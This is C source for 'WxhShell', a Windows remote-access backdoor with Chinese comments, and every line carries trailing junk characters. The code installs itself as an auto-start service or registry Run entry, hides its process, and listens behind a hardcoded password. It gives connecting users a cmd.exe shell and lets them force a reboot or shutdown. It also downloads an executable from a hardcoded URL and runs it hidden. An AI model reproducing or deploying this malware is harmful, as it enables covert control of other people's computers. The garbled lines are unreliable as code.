    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^\\9B-MvY  
    else { /_8nZVu  
    closesocket(wsh); 0r!F]Rm-^  
    ExitThread(0); _oefp*iWS  
    } 9d=\BBNZ  
    break; YzEOfHL,  
    } mGmZ}H'{  
  // 关机 V;Ln|._/t  
  case 'd': { J?4dafkw  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2jkma :$'  
    if(Boot(SHUTDOWN)) ]zIIi%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N\?__WlBK7  
    else { ol {N^fi K  
    closesocket(wsh); EW `WFBjj  
    ExitThread(0); B=}QgXg  
    } 8R(l~  
    break; ?T|0"|\"'  
    } IfI:|w}:"r  
  // 获取shell =k1sF3.V'c  
  case 's': { Z,~@_;F  
    CmdShell(wsh); REsw=P!b  
    closesocket(wsh); K;w]sN+I  
    ExitThread(0); Y%r>=Jvu6  
    break; pRjrMS  
  } L[`8 :}M  
  // 退出 6UqDpL7^U  
  case 'x': { g-m,n=qu  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2)QZYgfh  
    CloseIt(wsh); (FGH t/!  
    break; uy<b5.!-  
    } Y^8'P /A  
  // 离开 t/3qD7L  
  case 'q': { C!6D /S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^B7Ls{  
    closesocket(wsh); Z:2%gU&W  
    WSACleanup(); E9 @Sc>e  
    exit(1); q{f (T\  
    break; ^E+fmY2a  
        } OF-g7s6VH  
  } t2m7Yh5B  
  } qc' ;<  
X7tBpyi  
  // 提示信息 Q=#FvsF#z3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )YwLj&e4tf  
} Ya!PV&"Z  
  } g{K \  
g{kjd2  
  return; @V^5_K  
} aH_FBY  
.4<lw  
// shell模块句柄 3'SN0VL  
int CmdShell(SOCKET sock) N]\)Ok  
{ Wq}W )E  
STARTUPINFO si; u?'J1\z  
ZeroMemory(&si,sizeof(si)); j}fSz)`i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kD)]\   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^7=h%{ >=  
PROCESS_INFORMATION ProcessInfo; \H1t<B,  
char cmdline[]="cmd"; >?ec"P%vS/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \pP1k.~UnC  
  return 0; nu2m5RYx  
} R+.kwq3CED  
7=qvu&{  
// 自身启动模式 2~V"[26t  
int StartFromService(void) E(&GZ QE  
{ C;jV{sb9c  
typedef struct XFg.Z+ #  
{ P"g Y|}|  
  DWORD ExitStatus; vsM] <t  
  DWORD PebBaseAddress; Gkr^uXNg#  
  DWORD AffinityMask; B~u_zZE  
  DWORD BasePriority; |;-,(509  
  ULONG UniqueProcessId; ^!*?vHx:  
  ULONG InheritedFromUniqueProcessId; _uO#0 )l  
}   PROCESS_BASIC_INFORMATION; ] _/d  
YORFq9a{R  
PROCNTQSIP NtQueryInformationProcess; 3PonF4  
V+dfV`*k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0)8QOTeT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >t"]gQHtx  
ZHs hg`I`  
  HANDLE             hProcess; rI:KZ}GZ  
  PROCESS_BASIC_INFORMATION pbi; O8+[ )+6^  
_e.b #{=9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;!@\|E  
  if(NULL == hInst ) return 0; 2.2Z'$W  
xrT_ro8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G5Ci"0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0NSn5Hq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >5Zp x8W  
UZdE ^Q[  
  if (!NtQueryInformationProcess) return 0; 8-5a*vV,>  
yvxC/Jo4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LoG@(g&)  
  if(!hProcess) return 0; cLl fncI  
);h\0w>3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D^PsV  
$ Yz &x%Lb  
  CloseHandle(hProcess); bIm$7a`T  
|Z;w k&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^+[o +  
if(hProcess==NULL) return 0; {I 7pk6Qd  
xgR*j  
HMODULE hMod; l@*/1O)v  
char procName[255]; IQ{Xj3;?y  
unsigned long cbNeeded; ke>\.|HT}  
~+>M,LfK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Wsz='@XvB  
[Pp#l*  
  CloseHandle(hProcess); ^qbX9.\  
|->y'V  
if(strstr(procName,"services")) return 1; // 以服务启动 %Z{J=  
N0RFPEQ~  
  return 0; // 注册表启动 \ b9,>  
} 8VcAtrx_  
Vd<= y  
// 主模块 J-PzIFWd  
int StartWxhshell(LPSTR lpCmdLine) ]bnxOk  
{ N2&aU?`e  
  SOCKET wsl; !v;r3*#Nky  
BOOL val=TRUE; w78Ius,  
  int port=0; x}x@_w   
  struct sockaddr_in door; IPxfjBC+J  
g41Lh3dj  
  if(wscfg.ws_autoins) Install(); g[M@  
x#8=drh.:C  
port=atoi(lpCmdLine); Ok`U*j  
Ee|+uQ981>  
if(port<=0) port=wscfg.ws_port; d7^XP  
*VlYl"  
  WSADATA data; DpS6>$v8t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1UM]$$:i  
[d&Faa[`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   NUnP'X=J,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ABHZ)OM  
  door.sin_family = AF_INET; |%V.Lae  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Awh"SU Oh0  
  door.sin_port = htons(port); ,xh9,EpBk  
2@&|hd=-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `p?E{k.N  
closesocket(wsl); ?@#}%<yEq  
return 1; wKeqR$  
} |wb7`6g  
Q~@8t"P  
  if(listen(wsl,2) == INVALID_SOCKET) { G2^DukK.  
closesocket(wsl); W_ 6Jl5]  
return 1; r#Fu<so,  
} 5,c`  
  Wxhshell(wsl); l46F3C|  
  WSACleanup(); {;}8Z$  
OWjZ)f/  
return 0; PW`Tuj  
}6bLukv  
} Ji!-G4.n"  
Qm.kXlsDI  
// 以NT服务方式启动 @ tIB'|O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~?&ijhZ  
{ qC4-J)8 Wk  
DWORD   status = 0; (Lo2fY5  
  DWORD   specificError = 0xfffffff; =R'v]SXj  
R,\ r{@yrz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?},ItJ#>)q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?W n(ciO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f$>orVm%.  
  serviceStatus.dwWin32ExitCode     = 0; E%^28}dN  
  serviceStatus.dwServiceSpecificExitCode = 0; x]ti3?w  
  serviceStatus.dwCheckPoint       = 0; _6m3$k_[MJ  
  serviceStatus.dwWaitHint       = 0; K*Jtyy}r  
#I?iR 3u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gHx-m2N  
  if (hServiceStatusHandle==0) return; Ln_l>X6j51  
]K7  64}  
status = GetLastError(); [!&k?.*;<  
  if (status!=NO_ERROR) BB.TrQM.#  
{ !_ Q!H2il  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lAk1ncx  
    serviceStatus.dwCheckPoint       = 0; .e"Qv*[^  
    serviceStatus.dwWaitHint       = 0; !7)ID7d  
    serviceStatus.dwWin32ExitCode     = status; pCmJY  
    serviceStatus.dwServiceSpecificExitCode = specificError; :6?&FzD`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g8+,wSE  
    return; 9@Sb! 9h  
  } -YV4  O  
> bF!Y]H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SSLs hY~d  
  serviceStatus.dwCheckPoint       = 0; C/waH[Yzan  
  serviceStatus.dwWaitHint       = 0; n ;5?^Un%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E ZKz-}  
} ~5uNw*H  
Q) BoWd  
// 处理NT服务事件,比如:启动、停止 o'7ju~0L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X-$td~r  
{ k6L373e#Q  
switch(fdwControl) ;lH,bX~5  
{ %_MR.J+m2  
case SERVICE_CONTROL_STOP: 1K9?a;.  
  serviceStatus.dwWin32ExitCode = 0; :5M}Iz7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |/^aL j^u  
  serviceStatus.dwCheckPoint   = 0; Zfv(\SI  
  serviceStatus.dwWaitHint     = 0; KOEi_9i}  
  { m=\eL~ h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'uAC oME@  
  } DG*o w^  
  return; z %3"d0  
case SERVICE_CONTROL_PAUSE: Qz)8eIO:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q(5:~**I  
  break; c9TAV,/fF*  
case SERVICE_CONTROL_CONTINUE: WFB|lNf&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $t# ,'M  
  break; }0*ra37z>  
case SERVICE_CONTROL_INTERROGATE: u AS8F=9xP  
  break; gDNTIOV  
}; 0 ,Qj:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sQ:VrXwP  
} uxMy 1oy  
J=SB/8tQ)T  
// 标准应用程序主函数 \1`DaQp7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *!]Epb  
{ <6b\i5j  
G'?f!fz;  
// 获取操作系统版本 e4YfT r  
OsIsNt=GetOsVer(); sJI -  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h}`&]2|]  
BdB`  
  // 从命令行安装 7! b)'W?  
  if(strpbrk(lpCmdLine,"iI")) Install(); @z$pPo0fW  
yp2'KES>  
  // 下载执行文件 ?Y6la.bc{  
if(wscfg.ws_downexe) { 'x,GI\;?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W3{<e"  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1Q&WoJLfR  
} \LoSUl i  
f-v ND'@  
if(!OsIsNt) { Y 6<0%  
// 如果时win9x,隐藏进程并且设置为注册表启动 jU4)zN/`r  
HideProc(); j&[3Be'pQ  
StartWxhshell(lpCmdLine); )_X xk_  
} fv j5[Q  
else ~0[G/A$]  
  if(StartFromService()) !w#ru?L{  
  // 以服务方式启动 BV }(djx  
  StartServiceCtrlDispatcher(DispatchTable); d JQ }{,+6  
else }OP%p/eY  
  // 普通方式启动 $O~F>.*  
  StartWxhshell(lpCmdLine); Y6f+__O  
Xs%R]KOwt  
return 0; =JbdsYI(  
} C?/r}ly<\  
OHtgn  
k{}[>))Q  
k;K> ,$ F  
=========================================== 3<jAp#bE  
&w;^m/zP3  
QSn;a 4f  
#.MIW*==  
:_fjml/  
*2"bG1`  
" *,pZ fc  
`u p-m=zA  
#include <stdio.h> EG(`E9DZ  
#include <string.h> C>JekPeM  
#include <windows.h> L.IoGUxD  
#include <winsock2.h> >ggk>s|  
#include <winsvc.h> RFZU}.*K$  
#include <urlmon.h> 0gv3v@QO  
c#\ah}]Vo  
#pragma comment (lib, "Ws2_32.lib") M!&_qj&N,  
#pragma comment (lib, "urlmon.lib") 8u:v:>D.'  
M 9(ez7Z  
#define MAX_USER   100 // 最大客户端连接数 Qr|N)  
#define BUF_SOCK   200 // sock buffer 'B:Z=0{>N  
#define KEY_BUFF   255 // 输入 buffer >YJ8u{Z{o  
(<]\,pP0_  
#define REBOOT     0   // 重启 <K DH  
#define SHUTDOWN   1   // 关机 p@cfY]<7  
V_+}^  
#define DEF_PORT   5000 // 监听端口  l5ZADK4  
R "/xne  
#define REG_LEN     16   // 注册表键长度 )Y&MIJ7>@  
#define SVC_LEN     80   // NT服务名长度 ||{T5E-.F  
Gsds!z$  
// 从dll定义API eD*?q7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w|!YoMk+o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MO));M)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LPq*ZZK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 86;+r'3p.  
SWNU1x{,c\  
// wxhshell配置信息 5`4}A%@&  
struct WSCFG { 9]]!8_0=r  
  int ws_port;         // 监听端口 UC8vR>e\  
  char ws_passstr[REG_LEN]; // 口令 Gt^|+[gD  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1KeJd&e  
  char ws_regname[REG_LEN]; // 注册表键名 ri/t(m^{W  
  char ws_svcname[REG_LEN]; // 服务名 ! 6p>P4TT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nwa\Lrh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c[(yU#@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `FZ(#GDF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Zw;$(="  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VqcBwJ!?p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m.1LxM$8  
r+imn&FK8  
};  =3h+=l[  
?60>'Xj j  
// default Wxhshell configuration ,|e}Y [  
struct WSCFG wscfg={DEF_PORT, ljN zYg~-  
    "xuhuanlingzhe", Hnfvo*6d.e  
    1, ]*bAF^8i  
    "Wxhshell", Hfh@<'NL]  
    "Wxhshell", kmZ.U>#  
            "WxhShell Service", Y*5Z)h 1  
    "Wrsky Windows CmdShell Service", 6!4';2Q  
    "Please Input Your Password: ", BhqhyX\D&y  
  1, ?cqicN.+6  
  "http://www.wrsky.com/wxhshell.exe", !a' K &  
  "Wxhshell.exe" 8# 6\+R  
    }; Kg4QT/0VA  
_L$)2sl1R  
// 消息定义模块 2~vo+ng  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "nVK< Vd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5gO /-Zj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6{5q@9F  
char *msg_ws_ext="\n\rExit."; IM@"AD52a  
char *msg_ws_end="\n\rQuit."; zx ct(  
char *msg_ws_boot="\n\rReboot..."; ' be P  
char *msg_ws_poff="\n\rShutdown..."; 4O$mR  
char *msg_ws_down="\n\rSave to "; 1v;'d1Hg;  
J2rvJ2l=t  
char *msg_ws_err="\n\rErr!"; Z~R dFC  
char *msg_ws_ok="\n\rOK!"; z'e1"Y.  
<O bHf`Q  
char ExeFile[MAX_PATH]; i^/Di Wdyf  
int nUser = 0; _r7=&oL.Q  
HANDLE handles[MAX_USER]; [>wzl"cHW  
int OsIsNt; EaCZx  
{a@hRY_  
SERVICE_STATUS       serviceStatus; L77EbP`P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Hz5;Ruw'  
Y 0]Kl^\A  
// 函数声明 ?d#Lr*m  
int Install(void); w. vY(s  
int Uninstall(void); w@2~`<Hk'"  
int DownloadFile(char *sURL, SOCKET wsh); 6s&qZ+v-  
int Boot(int flag); F[(6*/46x  
void HideProc(void); \ bC}&Iz6  
int GetOsVer(void); @F~0p5I  
int Wxhshell(SOCKET wsl); tgK x4  
void TalkWithClient(void *cs); =;g=GcVK  
int CmdShell(SOCKET sock); CR.bMF}  
int StartFromService(void); uH0#rgKt  
int StartWxhshell(LPSTR lpCmdLine); jJ*=Ghu-  
]}/mFY?7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4 ;^g MI9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F1E. \l  
XEa~)i{O  
// 数据结构和表定义 bD  d_}  
SERVICE_TABLE_ENTRY DispatchTable[] = BZ2nDW*%  
{ N JXa_&_  
{wscfg.ws_svcname, NTServiceMain},  JUmw$u  
{NULL, NULL} QZ?O;K1|y  
}; S\}?zlV  
9N<*S'Z  
// 自我安装 t2Ip\>;9f  
int Install(void) a (P^e)<  
{ dG" K/|  
  char svExeFile[MAX_PATH]; n#)PvV~  
  HKEY key; R&]c"cO L8  
  strcpy(svExeFile,ExeFile); 2B5A!? ~>  
`!]R!T@C  
// 如果是win9x系统,修改注册表设为自启动 _w\Y{(k  
if(!OsIsNt) { _r~!O$2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5XI;<^n2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /*AJ+K._  
  RegCloseKey(key); VjC*(6<Gj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +SO2M|ru&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); };i&a%I|  
  RegCloseKey(key); .MzOLv   
  return 0; P\Ai|"=&]  
    } m*\B2\2gJ  
  } Cc@=?  
} ,LoMt ]H  
else { @gH(/pFX  
U? {'n#n 5  
// 如果是NT以上系统,安装为系统服务 PbbXi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lb-S0plw  
if (schSCManager!=0) ,Le&I9*%  
{ F_ ,L 2J  
  SC_HANDLE schService = CreateService J'I1,5(  
  ( %~][?Y ><  
  schSCManager, JmnBq<&,0  
  wscfg.ws_svcname, 'bZMh9|  
  wscfg.ws_svcdisp, Vf"O/o}hq,  
  SERVICE_ALL_ACCESS, ERUs0na]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DZ%g^DRZX  
  SERVICE_AUTO_START, ox!|)^`$_  
  SERVICE_ERROR_NORMAL, 7(yXsVq  
  svExeFile, b*btkaVue  
  NULL, PN1(j|  
  NULL, Wv6z%r<  
  NULL, pe\Txg6  
  NULL, 9(QU2QY  
  NULL 04I6 -}6  
  ); _#/!s]$d#  
  if (schService!=0) 3~cS}N T  
  { 34X(J-1\|i  
  CloseServiceHandle(schService); ZAI1p+  
  CloseServiceHandle(schSCManager); p2pTs&}S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v< 65(I>  
  strcat(svExeFile,wscfg.ws_svcname); zF[3%qZE:T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l-DGy#h+z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?&whE!  
  RegCloseKey(key); :6 Hxxh  
  return 0; ^2&O3s  
    } e8~62O^  
  } Q\&AlV  
  CloseServiceHandle(schSCManager); btUUZ"q<  
} W /~||s  
} 3Eb nZb  
sDzD 8as  
return 1; .fio<mqi  
} X";QA":  
377j3dP  
// 自我卸载 vR6^n~  
int Uninstall(void) N}8HK^n*  
{ '<R B  
  HKEY key; k#8S`W8^  
+t7c&td\  
if(!OsIsNt) { 902!M65[rG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |x _ -I#H  
  RegDeleteValue(key,wscfg.ws_regname); XPc9z}/(e  
  RegCloseKey(key); 9G`FY:(K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w*&n(zJF>  
  RegDeleteValue(key,wscfg.ws_regname); vOvxQS}dBp  
  RegCloseKey(key); L]/\C{}k  
  return 0; ?1-n\ka  
  } o+if%3  
} 6k@%+<1  
} /ygUd8@  
else { oP|pOs\$p  
;qT!fuN;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ijZydn  
if (schSCManager!=0) Z?.p%*>`T=  
{ J^s<x#C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .(MbP  
  if (schService!=0) RAD4q"}k  
  { 8 ACY uN\  
  if(DeleteService(schService)!=0) { >'2w\Uk~:  
  CloseServiceHandle(schService); t]u(jX)  
  CloseServiceHandle(schSCManager); 7{kpx$:_  
  return 0; ig.6[5a\  
  } :N+#4rtgUY  
  CloseServiceHandle(schService); 2h|(8f:y  
  } U'h[ {ek  
  CloseServiceHandle(schSCManager); Gw\G+T?M-  
} !q=Q~ea  
} V\rIN}7  
lE2wkY9^/  
return 1; v8'`gY  
} "j.oR}s9?#  
v'bd.eqw  
// 从指定url下载文件 )/+eL RN5G  
int DownloadFile(char *sURL, SOCKET wsh) #8Id:56  
{ x^='pEt{  
  HRESULT hr; `!Ge"JB6   
char seps[]= "/"; *OGXu07 !  
char *token; rmg";(I  
char *file; iu6WGm R  
char myURL[MAX_PATH]; } ^GV(]K  
char myFILE[MAX_PATH]; Q:fUM[  
N?mY|x\}wK  
strcpy(myURL,sURL); c&Su d, &  
  token=strtok(myURL,seps); Nz>E#.++  
  while(token!=NULL) "13 :VTs[5  
  { MMxoKL  
    file=token; m[xf./@f{  
  token=strtok(NULL,seps); h@>rjeY@  
  } 9tc@   
J,^pt Ql  
GetCurrentDirectory(MAX_PATH,myFILE); /4-eoTxy  
strcat(myFILE, "\\"); ZAo)_za&mH  
strcat(myFILE, file); qq9tBCk  
  send(wsh,myFILE,strlen(myFILE),0); MBYD,v&  
send(wsh,"...",3,0); Y^*$PED?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *l?% o{  
  if(hr==S_OK) $OFFH[_z  
return 0; [>Kxm  
else #;*ai\6>vD  
return 1; Aya;ycsgE  
BE2\?q-  
} MTITIecw=  
Ff#N|L'9_  
// 系统电源模块 D16;6K'{  
int Boot(int flag) Ko]h r  
{ tSXjp  
  HANDLE hToken; qf&a<[p~  
  TOKEN_PRIVILEGES tkp; 8s5ru)  
l-h7ksRs  
  if(OsIsNt) { TcKKI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'm!1 1Phe  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); em9]WSfZ@`  
    tkp.PrivilegeCount = 1; k;:u| s8NS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kFa?q} 47  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x#gmliF  
if(flag==REBOOT) { VU'l~%ql  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "$"mWF-  
  return 0; K~ /V  
} c%3 @J+z  
else { &$z1Hz+l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5~R{,]52  
  return 0; Tx?@* Q  
} AA& dZjz  
  } ]jY)M<:J4  
  else { &fy8,}  
if(flag==REBOOT) { .Zt/e>K&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2u;fT{(  
  return 0; fu "z%h]   
} 5sCk y)N  
else { z`:^e1vG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >]|^ Ux,WZ  
  return 0; wkpVX*DfRE  
} n|,Vm@zV  
} BH*]OXW\  
[3NV #  
return 1; @dKf]&h%%  
} 0|Ft0y`+  
z iGL4c0p  
// win9x进程隐藏模块 w>UV\`x  
void HideProc(void) jW$f(qAbm  
{ Fl>j5[kLZ  
<0qY8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q)X\VQcgj  
  if ( hKernel != NULL ) |w]i$`3'I  
  { & ~G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0H]9$D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ghQsS|)p.  
    FreeLibrary(hKernel); A"ph!* i{  
  } (y4Eq*n%!  
IX3 yNTW"L  
return; L`@&0Zk  
} "Ksd9,J\b  
tl^;iE!-  
// 获取操作系统版本 ^n5QK HD  
int GetOsVer(void) g8@HAV^H  
{ {73DnC~N  
  OSVERSIONINFO winfo;  cJ{P,K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F+^[8zK^  
  GetVersionEx(&winfo); <sG>[\i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @].aFhH`)  
  return 1; T js{ )r9  
  else SygsZv&LZ  
  return 0; ~2 ;y4%K  
} [o6<aE-  
lvAKL>qX  
// 客户端句柄模块 2P/ Sq  
int Wxhshell(SOCKET wsl) Mfn^v:Q#  
{ FMX ^k  
  SOCKET wsh; Etn uEU  
  struct sockaddr_in client; BT)PD9CN(  
  DWORD myID; :F8h}\a*  
tWyl&,3?1  
  while(nUser<MAX_USER) enGZb&  
{ 5BJn_<  
  int nSize=sizeof(client); *Sg6VGP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J#IVu?B  
  if(wsh==INVALID_SOCKET) return 1; 9Y:Iha`$w  
mEmgr(W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wP7 E8'  
if(handles[nUser]==0) g@'2 :'\  
  closesocket(wsh); %Rt 5$+dNT  
else o)f$ 7.  
  nUser++; EK.n $  
  } Bz(L}V]\k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;m=k FZ?  
O7]kcA  
  return 0; H: nO\]  
} o@m7@$7  
/PVx  
// 关闭 socket bE,#,  
void CloseIt(SOCKET wsh) P~#LbUP(  
{ ZkWMo= vL  
closesocket(wsh); O7%8F Y  
nUser--; n&!q9CR`  
ExitThread(0);  wh#IQ.E-  
} foUBMl  
~g9~D}48k'  
// 客户端请求句柄 ]UkqPtG;  
void TalkWithClient(void *cs) .HN4xL  
{ O2":)zU.  
|{ =Jp<} s  
  SOCKET wsh=(SOCKET)cs; Es- =0gpK  
  char pwd[SVC_LEN]; KjMwrMgC  
  char cmd[KEY_BUFF]; 9K;g\? 3  
char chr[1]; e7y,zcbv  
int i,j; f9OY> |a9  
p1[|5r5Day  
  while (nUser < MAX_USER) { Lf:#koaC  
 od$$g(  
if(wscfg.ws_passstr) { <`WDNi$Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _R^ZXtypd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :]4s;q:m  
  //ZeroMemory(pwd,KEY_BUFF); #)m [R5g(  
      i=0; Adet5m.|[8  
  while(i<SVC_LEN) { p(-EtxP  
E@%1HO_  
  // 设置超时 xi=0 kO  
  fd_set FdRead; d}  5  
  struct timeval TimeOut; ~$ Po3]{s  
  FD_ZERO(&FdRead); KMG}VG   
  FD_SET(wsh,&FdRead); tSY4'  
  TimeOut.tv_sec=8; KYyoN  
  TimeOut.tv_usec=0; L8Q/!+K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P8#_E{f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )PvnB=wy  
H ~3.F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qqo#H O  
  pwd=chr[0]; 842v^ 2  
  if(chr[0]==0xd || chr[0]==0xa) { SW%}S*h  
  pwd=0; $}vzBuWHwN  
  break; %0 {_b68x  
  } EVLL,x.~:z  
  i++; %\HE1d5;  
    } /ojx$Um  
##BbR  
  // 如果是非法用户,关闭 socket =v^#MU{k?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,mx\ -lWFy  
} $)@D(m,ybd  
S'^ q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dhA~Yu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "P?O1  
&k,DAx`rN;  
while(1) { . s>@@m-  
%y9sC1T  
  ZeroMemory(cmd,KEY_BUFF); ;^bfLSWm{  
_BA; H+M  
      // 自动支持客户端 telnet标准   Q*I8RAfd  
  j=0; CR23$<FC  
  while(j<KEY_BUFF) { f8[O]MrO;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \,Ws=9f  
  cmd[j]=chr[0]; /0qbRk i  
  if(chr[0]==0xa || chr[0]==0xd) { 6QA`u*  
  cmd[j]=0; bwhH2^ !  
  break; 'u x!:b"  
